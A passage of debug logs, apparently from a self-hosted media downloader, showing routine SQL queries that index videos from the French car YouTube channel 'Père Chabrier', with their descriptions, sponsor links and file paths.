tout simplement - Range Rover SV One [zekzfyFML7o].mkv", false, 3, ~U[2025-05-23 16:15:07Z]] 06:34:28.939 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:28.940 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=9.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-09 16:15:00Z], 3] 06:34:28.943 [debug] QUERY OK source="media_items" db=2.0ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à AUTODOC pour l'envoi rapide de cette batterie. Ci-joint un superbe CODE PROMO, il vous suffit d'ajouter CHANTAL avant la finalisation de votre commande, en passant par ce lien : https://bit.ly/AUTODOC_Pierre_Chabrier\n\n(la sub démarre quand même pas) ((mais c'est pas de la faute d'autodoc)) (((vu que le problème c'était pas la batterie))).\n___________________________________\n\nComme d'hab, merci aux boss d'Autoprenium Chantilly pour le prêt de la voiture 🙏\n👉https://www.instagram.com/autopremiumchantilly/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nUn grand merci à Clem pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#skoda #rally #pourtoi", "Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245", "e837de9c-9dae-4428-b5ed-82b613e7728f", "aQPKo68UYqM", 1664, false, "https://www.youtube.com/watch?v=aQPKo68UYqM", 5, "/downloads/Père Chabrier/2025-05-09 Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245/Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245 [aQPKo68UYqM].mkv", false, false, false, 3, [], 98, ~U[2025-05-09 16:15:00Z], ~U[2026-04-20 04:34:28Z], ~U[2026-04-20 04:34:28Z], "Merci à AUTODOC pour l'envoi rapide de cette batterie. Ci-joint un superbe CODE PROMO, il vous suffit d'ajouter CHANTAL avant la finalisation de votre commande, en passant par ce lien : https://bit.ly/AUTODOC_Pierre_Chabrier\n\n(la sub démarre quand même pas) ((mais c'est pas de la faute d'autodoc)) (((vu que le problème c'était pas la batterie))).\n___________________________________\n\nComme d'hab, merci aux boss d'Autoprenium Chantilly pour le prêt de la voiture 🙏\n👉https://www.instagram.com/autopremiumchantilly/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nUn grand merci à Clem pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#skoda #rally #pourtoi", "Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245", "aQPKo68UYqM", 1664, false, "https://www.youtube.com/watch?v=aQPKo68UYqM", "/downloads/Père Chabrier/2025-05-09 Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245/Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245 [aQPKo68UYqM].mkv", false, 3, ~U[2025-05-09 16:15:00Z]] 06:34:28.944 [debug] QUERY OK source="sources" db=0.6ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:28.946 [debug] QUERY OK source="media_items" db=0.9ms idle=7.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-02 16:15:04Z], 3] 06:34:28.948 [debug] QUERY OK source="media_items" db=1.9ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["N'hésitez pas à poser vos questions en commentaire ou par message insta pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Eiram Design - https://x.com/eiraamtv\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #essence #", "L’ARNAQUE à la pompe - Enquête #4", "8d8e30ab-6238-4e00-a3a7-7f64fb3a8f6c", "hxa_47jvM7w", 1349, false, "https://www.youtube.com/watch?v=hxa_47jvM7w", 6, "/downloads/Père Chabrier/2025-05-02 L’ARNAQUE à la pompe - Enquête #4/L’ARNAQUE à la pompe - Enquête #4 [hxa_47jvM7w].mkv", false, false, false, 3, [], 98, ~U[2025-05-02 16:15:04Z], ~U[2026-04-20 04:34:28Z], ~U[2026-04-20 04:34:28Z], "N'hésitez pas à poser vos questions en commentaire ou par message insta pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Eiram Design - https://x.com/eiraamtv\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #essence #", "L’ARNAQUE à la pompe - Enquête #4", "hxa_47jvM7w", 1349, false, "https://www.youtube.com/watch?v=hxa_47jvM7w", "/downloads/Père Chabrier/2025-05-02 L’ARNAQUE à la pompe - Enquête #4/L’ARNAQUE à la pompe - Enquête #4 [hxa_47jvM7w].mkv", false, 3, ~U[2025-05-02 16:15:04Z]] 06:34:28.950 [debug] QUERY OK source="sources" db=0.6ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:28.951 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=6.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-25 16:15:00Z], 3] 06:34:28.985 [debug] QUERY OK source="media_items" db=33.5ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un grand merci à Maxence et sa conjointe pour le prêt de la voiture, c'était une chouette journée. 🙏❤️\nEt merci à ma Grand Mère pour l'apparition furtive et mon Papa d'avoir partagé ce moment. 🙏❤️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Vincent Cordier - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci également au Julien national pour son aide sur le tournage 🙏\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#sleeper #Déchet' #pourtoi", "Le SLEEPER ultime - Opel Zafira OPC", "82d86ee7-b2f4-470b-942f-14a20277f79a", "BrVG8TCQ-Ao", 1625, false, "https://www.youtube.com/watch?v=BrVG8TCQ-Ao", 7, "/downloads/Père Chabrier/2025-04-25 Le SLEEPER ultime - Opel Zafira OPC/Le SLEEPER ultime - Opel Zafira OPC [BrVG8TCQ-Ao].mkv", false, false, false, 3, [], 98, ~U[2025-04-25 16:15:00Z], ~U[2026-04-20 04:34:28Z], ~U[2026-04-20 04:34:28Z], "Un grand merci à Maxence et sa conjointe pour le prêt de la voiture, c'était une chouette journée. 🙏❤️\nEt merci à ma Grand Mère pour l'apparition furtive et mon Papa d'avoir partagé ce moment. 🙏❤️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Vincent Cordier - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci également au Julien national pour son aide sur le tournage 🙏\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#sleeper #Déchet' #pourtoi", "Le SLEEPER ultime - Opel Zafira OPC", "BrVG8TCQ-Ao", 1625, false, "https://www.youtube.com/watch?v=BrVG8TCQ-Ao", "/downloads/Père Chabrier/2025-04-25 Le SLEEPER ultime - Opel Zafira OPC/Le SLEEPER ultime - Opel Zafira OPC [BrVG8TCQ-Ao].mkv", false, 3, ~U[2025-04-25 16:15:00Z]] 06:34:28.987 [debug] QUERY OK source="sources" db=0.9ms idle=40.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:28.989 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=39.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-18 16:15:00Z], 3] 06:34:28.992 [debug] QUERY OK source="media_items" db=2.0ms idle=40.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["N'hésitez pas à poser vos questions en commentaire pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #Plaque #Masquer", "Votre plaque INVISIBLE avec une BANANE ? - Enquête #3", "ee903283-063f-4dbb-b99f-a47c99eec894", "6GoLkJa-Wfc", 1250, false, "https://www.youtube.com/watch?v=6GoLkJa-Wfc", 8, "/downloads/Père Chabrier/2025-04-18 Votre plaque INVISIBLE avec une BANANE ? - Enquête #3/Votre plaque INVISIBLE avec une BANANE ? - Enquête #3 [6GoLkJa-Wfc].mkv", false, false, false, 3, [], 98, ~U[2025-04-18 16:15:00Z], ~U[2026-04-20 04:34:28Z], ~U[2026-04-20 04:34:28Z], "N'hésitez pas à poser vos questions en commentaire pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #Plaque #Masquer", "Votre plaque INVISIBLE avec une BANANE ? - Enquête #3", "6GoLkJa-Wfc", 1250, false, "https://www.youtube.com/watch?v=6GoLkJa-Wfc", "/downloads/Père Chabrier/2025-04-18 Votre plaque INVISIBLE avec une BANANE ? - Enquête #3/Votre plaque INVISIBLE avec une BANANE ? - Enquête #3 [6GoLkJa-Wfc].mkv", false, 3, ~U[2025-04-18 16:15:00Z]] 06:34:28.994 [debug] QUERY OK source="sources" db=0.8ms idle=41.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:28.996 [debug] QUERY OK source="media_items" db=2.2ms idle=8.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-11 16:15:10Z], 3] 06:34:29.000 [debug] QUERY OK source="media_items" db=2.3ms idle=10.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un grand merci à Autopremium Chantilly pour le prêt de ce bijou 🙏 : \n👉https://www.instagram.com/autopremiumchantilly/\n\nMerci également à Optic 2000 pour la paire de Ray-Ban Meta très chouette : \n👉https://www.instagram.com/optic2000_clermont/ \n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci également à Clem pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#ferrari #spider #drift", "Une page se tourne (vite) - Ferrari 458 Spider", "34baf650-2665-4e71-8b25-9f7308af87e4", "yvQpJX1V07U", 1850, false, "https://www.youtube.com/watch?v=yvQpJX1V07U", 9, "/downloads/Père Chabrier/2025-04-11 Une page se tourne (vite) - Ferrari 458 Spider/Une page se tourne (vite) - Ferrari 458 Spider [yvQpJX1V07U].mkv", false, false, false, 3, [], 98, ~U[2025-04-11 16:15:10Z], ~U[2026-04-20 04:34:28Z], ~U[2026-04-20 04:34:28Z], "Un grand merci à Autopremium Chantilly pour le prêt de ce bijou 🙏 : \n👉https://www.instagram.com/autopremiumchantilly/\n\nMerci également à Optic 2000 pour la paire de Ray-Ban Meta très chouette : \n👉https://www.instagram.com/optic2000_clermont/ \n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci également à Clem pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#ferrari #spider #drift", "Une page se tourne (vite) - Ferrari 458 Spider", "yvQpJX1V07U", 1850, false, "https://www.youtube.com/watch?v=yvQpJX1V07U", "/downloads/Père Chabrier/2025-04-11 Une page se tourne (vite) - Ferrari 458 Spider/Une page se tourne (vite) - Ferrari 458 Spider [yvQpJX1V07U].mkv", false, 3, ~U[2025-04-11 16:15:10Z]] 06:34:29.001 [debug] QUERY OK source="sources" db=0.8ms idle=10.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:29.003 [debug] QUERY OK source="media_items" db=1.2ms idle=9.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-28 17:15:01Z], 3] 06:34:29.006 [debug] QUERY OK source="media_items" db=1.9ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Second épisode de la série enquête, n'hésitez pas à poser vos questions en commentaire pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#pub #voiture #peugeot", "Les PIRES et les MEILLEURES pubs automobiles - Enquête #2", "92dd060b-bcb5-4c3d-a000-c50aeafc16cb", "R6OfXMf3nvw", 1944, false, "https://www.youtube.com/watch?v=R6OfXMf3nvw", 10, "/downloads/Père Chabrier/2025-03-28 Les PIRES et les MEILLEURES pubs automobiles - Enquête #2/Les PIRES et les MEILLEURES pubs automobiles - Enquête #2 [R6OfXMf3nvw].mkv", false, false, false, 3, [], 98, ~U[2025-03-28 17:15:01Z], ~U[2026-04-20 04:34:29Z], ~U[2026-04-20 04:34:29Z], "Second épisode de la série enquête, n'hésitez pas à poser vos questions en commentaire pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#pub #voiture #peugeot", "Les PIRES et les MEILLEURES pubs automobiles - Enquête #2", "R6OfXMf3nvw", 1944, false, "https://www.youtube.com/watch?v=R6OfXMf3nvw", "/downloads/Père Chabrier/2025-03-28 Les PIRES et les MEILLEURES pubs automobiles - Enquête #2/Les PIRES et les MEILLEURES pubs automobiles - Enquête #2 [R6OfXMf3nvw].mkv", false, 3, ~U[2025-03-28 17:15:01Z]] 06:34:29.007 [debug] QUERY OK source="sources" db=0.5ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:29.009 [debug] QUERY OK source="media_items" db=1.1ms queue=0.2ms idle=7.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-21 17:15:02Z], 3] 06:34:29.038 [debug] QUERY OK source="media_items" db=28.9ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Re ! Merci du soutien pour la chaine, comme vous le savez ça aide l'algo d'interagir avec le contenu en commentant, en le likant et en le partageant. 🫶\n\nMerci à Autopremium Chantilly pour le prêt de cette magnifique e63s🙏 : \n👉https://www.instagram.com/autopremiumchantilly/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#amg #autobahn #drift", "La classe E, comme \"EH BEEEH ELLE MARCHE L'AUTO\" - Mercedes E63s finition Autobahnkiller", "844893fa-1716-4c5b-8333-97603c8dcebc", "Pvm-_HSuk3g", 1767, false, "https://www.youtube.com/watch?v=Pvm-_HSuk3g", 11, "/downloads/Père Chabrier/2025-03-21 La classe E, comme "EH BEEEH ELLE MARCHE L'AUTO" - Mercedes E63s finition Autobahnkiller/La classe E, comme "EH BEEEH ELLE MARCHE L'AUTO" - Mercedes E63s finition Autobahnkiller [Pvm-_HSuk3g].mkv", false, false, false, 